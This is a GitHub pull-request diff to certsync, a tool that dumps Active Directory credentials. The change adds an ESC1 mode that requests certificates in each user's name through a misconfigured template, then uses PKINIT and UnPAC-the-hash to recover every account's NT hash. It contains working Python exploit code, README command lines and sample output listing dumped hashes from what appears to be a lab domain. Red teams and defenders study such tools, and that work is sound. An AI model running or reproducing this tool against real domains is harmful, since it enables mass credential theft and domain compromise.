Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 39 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,14 @@
# certsync

`certsync` is a new technique in order to dump NTDS remotely, but this time **without DRSUAPI**: it uses [golden certificate](https://www.thehacker.recipes/ad/persistence/ad-cs/golden-certificate) and [UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash).
`certsync` is a new way of users hash remotely, **without using DRSUAPI**. It offers two ways to do so:
+ Using [golden certificate](https://www.thehacker.recipes/ad/persistence/ad-cs/golden-certificate) and [UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash).
+ Using [esc1]() and [UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash) with an appropriate template (`ENROLLEE_SUPPLIES_SUBJECT` flag). As a CA Admin, several certificate templates should work, `SubCA` is used by default.
`certsync` is a new technique in order to dump

Contrary to what we may think, the attack is not at all slower.

## Golden certificate

It works in several steps:

1. Dump user list, CA informations and CRL from LDAP
Expand All @@ -9,7 +17,7 @@ It works in several steps:
4. UnPAC the hash for every user in order to get nt and lm hashes

```text
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
$ certsync golden -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
Expand All @@ -28,7 +36,31 @@ ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
```

Contrary to what we may think, the attack is not at all slower.
## Certificate requests method

It works in several steps:

1. Dump user list
2. Request a certificate with user specified as subject of the certificate
3. UnPAC the hash for every user in order to get nt and lm hashes

```text
$ certsync esc1 -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Getting users certificate using 'SubCA' template
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
```

## Table of Contents

Expand Down Expand Up @@ -88,6 +120,7 @@ CA options:
-ca-pfx pfx/p12 file name
Path to CA certificate. If used, will skip backup of CA certificate and private key
-ca-ip ip address IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP
-template-name SubCA (ESC1 only) Template to use for requests (Default = SubCA)

authentication options:
-d domain.local, -domain domain.local
Expand Down Expand Up @@ -128,11 +161,12 @@ DSRUAPI is more and more monitored and sometimes retricted by EDR solutions. Mor
This attack needs:
- A configured Entreprise CA on an ADCS server in the domain,
- PKINIT working,
- An domain account which is local administrator on the ADCS server, or an export of the CA certificate and private key.
- For `golden` method: An domain account which is local administrator on the ADCS server, or an export of the CA certificate and private key.
- For `esc1` method: A template with `ENROLEE_SUPPLIES_SUBJECT` flag that can be requested.

## Limitations

Since we cannot PKINIT for users that are revoked, we cannot dump thier hashes.
Since we cannot PKINIT for users that are revoked, we cannot dump their hashes.

## OPSEC

Expand Down
188 changes: 150 additions & 38 deletions certsync/entry.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@
from certipy.lib.rpc import get_dce_rpc
from certipy.commands.ca import CA
from certipy.commands.auth import Authenticate
from certipy.commands.req import Request
from certipy.lib.certificate import (
PRINCIPAL_NAME,
UTF8String,
Expand All @@ -29,8 +30,80 @@
get_subject_from_str,
load_pfx,
x509,
rsa,
create_csr,
csr_to_der,
)

class MinifiedRequest(Request):
def __init__(
self,
target: Target = None,
ca: str = None,
template: str = None,
upn: str = None,
key: rsa.RSAPrivateKey = None,
key_size: int = 2048,
):

self.cert = None
self.key = None

self.target = target
self.ca = ca
self.template = template
self.alt_upn = upn
self.key_size = key_size
self.key = key
self.request_id = 0

self._dce = None
self._interface = None

self.web = False
self.dynamic = False
self.verbose = False

def set_upn(self, upn) -> bool:
try:
self.alt_upn = upn
return True
except:
return False

def request(self) -> bool:
username = self.target.username

csr, key = create_csr(
username,
alt_upn=self.alt_upn,
key=self.key,
key_size=self.key_size
)
self.key = key

csr = csr_to_der(csr)

attributes = ["CertificateTemplate:%s" % self.template]

if self.alt_upn is not None:
san = []
if self.alt_upn:
san.append("upn=%s" % self.alt_upn)

attributes.append("SAN:%s" % "&".join(san))

cert = self.interface.request(csr, attributes)

if cert is False:
logging.error("Failed to request certificate")
return False

self.cert = cert
self.key = key

return True

class User:
def __init__(self, samaccountname, sid, domain):
self.domain = domain
Expand Down Expand Up @@ -65,6 +138,10 @@ def forge_cert(self, key, cert, ca_key, ca_cert):

self.cert = cert
self.key = key

def set_cert(self, cert, key):
self.cert = cert
self.key = key

def auth(self, target):
auth = Authenticate(target=target)
Expand Down Expand Up @@ -123,6 +200,7 @@ def __init__(self, options: argparse.Namespace):
target_ip = options.dc_ip,
remote_name = options.kdcHost)

self.action = options.action
self.ca_ip = options.ca_ip
self.user_search_filter = options.ldap_filter
self.scheme = options.scheme
Expand All @@ -136,6 +214,8 @@ def __init__(self, options: argparse.Namespace):
self.ca_cert = None
self.ca_p12 = None
self.file = None
self.template = options.template
self.template_name = options.template_name if options.template_name is not None else "SubCA"
self.template_pfx = None
self.template_key = None
self.template_cert = None
Expand All @@ -153,9 +233,11 @@ def __init__(self, options: argparse.Namespace):
self.ca_pfx = f.read()

if options.template is not None:
with open(options.template, "rb") as f:
self.template_pfx = f.read()
self.template_key, self.template_cert = load_pfx(self.template_pfx)
if self.action == "golden":
with open(options.template, "rb") as f:
self.template_pfx = f.read()
self.template_key, self.template_cert = load_pfx(self.template_pfx)

if options.k:
principal = get_kerberos_principal()
if principal:
Expand All @@ -168,6 +250,8 @@ def init_ldap_conn(self):
self.ldap_connection.connect()

def run(self):
golden = self.action == "golden"

logging.getLogger("impacket").disabled = True
logging.getLogger("certipy").disabled = True

Expand Down Expand Up @@ -203,14 +287,12 @@ def run(self):

self.ca_name = ca.get("name")
self.crl = self.get_crl(self.ca_name)[0].get("distinguishedName")

# 2. Dumping CA PKI
if self.ca_pfx is None:
self.ca_dns_name = ca.get("dNSHostName")
self.ca_ip_address = self.target.resolver.resolve(self.ca_dns_name)
logging.info("Found CA %s on %s(%s)" % (self.ca_name, self.ca_dns_name, self.ca_ip_address))
logging.info("Dumping CA certificate and private key")
ca_target = Target.create(

self.ca_dns_name = ca.get("dNSHostName")
self.ca_ip_address = self.target.resolver.resolve(self.ca_dns_name)
logging.info("Found CA %s on %s(%s)" % (self.ca_name, self.ca_dns_name, self.ca_ip_address))

ca_target = Target.create(
domain = self.target.domain,
username = self.target.username,
password = self.target.password,
Expand All @@ -220,33 +302,49 @@ def run(self):
aes = self.target.aes,
remote_name = self.ca_dns_name,
no_pass = self.options.no_pass)

ca_module = CA(target=ca_target, ca=self.ca_name)
self.backup_ca_pki(ca_module)
else:
logging.info("Loading CA certificate and private key from %s" % self.options.ca_pfx)
self.ca_key, self.ca_cert = load_pfx(self.ca_pfx)

if self.ca_key is None or self.ca_cert is None:
logging.error("No CA certificate and private key loaded (backup failed or -ca-pfx is not valid). Abort...")
sys.exit(1)

# 3. Forge certificates for each users
logging.info("Forging certificates%sfor every users. This can take some time..." % (("based on %s " % self.options.template) if self.template_pfx is not None else " "))
if self.randomize:
for user in (tqdm(users.values()) if self.options.debug else users.values()):


if golden :
# Dumping CA PKI
if self.ca_pfx is None:
ca_module = CA(target=ca_target, ca=self.ca_name)
self.backup_ca_pki(ca_module)
else:
logging.info("Loading CA certificate and private key from %s" % self.options.ca_pfx)
self.ca_key, self.ca_cert = load_pfx(self.ca_pfx)
if self.ca_key is None or self.ca_cert is None:
logging.error("No CA certificate and private key loaded (backup failed or -ca-pfx is not valid). Abort...")
sys.exit(1)

# Forge certificates for each users
logging.info("Forging certificates%sfor every users. This can take some time..." % (("based on %s " % self.options.template) if self.template_pfx is not None else " "))
if self.randomize:
for user in (tqdm(users.values()) if self.options.debug else users.values()):
base_user_key, base_user_cert = self.forge_cert_base()
try:
user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert)
except Exception:
pass
else:
base_user_key, base_user_cert = self.forge_cert_base()
try:
user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert)
except Exception:
pass
for user in (tqdm(users.values()) if self.options.debug else users.values()):
try:
user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert)
except Exception:
pass
else:
base_user_key, base_user_cert = self.forge_cert_base()
# Request for every user
logging.info(f"Getting users certificate using '{self.template_name}' template")

request = MinifiedRequest(target = ca_target, ca = self.ca_name, template = self.template_name, upn=None)
for user in (tqdm(users.values()) if self.options.debug else users.values()):
try:
user.forge_cert(key=base_user_key, cert=base_user_cert, ca_key=self.ca_key, ca_cert=self.ca_cert)
except Exception:
pass
sleep(self.timeout + random.randint(0,self.jitter))
request.set_upn(user.samaccountname)
req = request.request()
if not req:
logging.error(f"Failed to retrieve certificate for user {user.samaccountname}")
else:
user.set_cert(request.cert, request.key)

# 4. PKINIT every users
logging.info("PKINIT + UnPAC the hashes")
Expand Down Expand Up @@ -457,7 +555,8 @@ def get_crl(self, ca_name) -> "List[LDAPEntry]":
def main() -> None:
logger.init()
version = importlib.metadata.version("certsync")
parser = argparse.ArgumentParser(description=f"Dump NTDS with golden certificates and UnPAC the hash.\nVersion: {version}", add_help=True)
parser = argparse.ArgumentParser(description=f"Retrieve domain users hash by getting certificates and UnPAC the hash.\nVersion: {version}", add_help=True)
parser.add_argument('action', action="store", help="Action you want to perform : golden, esc1")
parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON")
parser.add_argument(
"-outputfile",
Expand All @@ -481,11 +580,20 @@ def main() -> None:
action="store",
metavar="ip address",
help=(
"IP Address of the certificate authority. If omitted it will use the domain"
"IP Address of the certificate authority. If omitted it will use the domain "
"part (FQDN) specified in LDAP"
),
)

ca_group.add_argument(
"-template-name",
action="store",
metavar="SubCA",
dest="template_name",
help="(ESC1 only) Template to use for requests",
required=False,
)

authentication_group = parser.add_argument_group("authentication options")

authentication_group.add_argument(
Expand Down Expand Up @@ -580,7 +688,7 @@ def main() -> None:
action="store",
metavar="cert.pfx",
dest="template",
help="base template to use in order to forge certificates",
help="(Golden Only) Base template to use in order to forge certificates",
required=False,
)

Expand Down Expand Up @@ -616,6 +724,10 @@ def main() -> None:

options = parser.parse_args()

if options.action not in ['golden', 'esc1']:
print("Please choose an action between golden and esc1")
sys.exit(1)

if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)

Expand Down
6 changes: 3 additions & 3 deletions pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
[tool.poetry]
name = "certsync"
version = "0.1.6"
description = "Dump NTDS with golden certificates and UnPAC the hash"
version = "0.2.0"
description = "Retrieve domain users hash by getting certificates and UnPAC the hash."
readme = "README.md"
homepage = "https://github.com/zblurx/certsync"
repository = "https://github.com/zblurx/certsync"
keywords = ["ntds", "certificate", "hashes"]
authors = ["zblurx <seigneuret.thomas@protonmail.com>"]
authors = ["zblurx <seigneuret.thomas@protonmail.com>", "p-alu <paul.saladin@outlook.com>"]
license = "MIT"
classifiers = [
"Topic :: Security",
Expand Down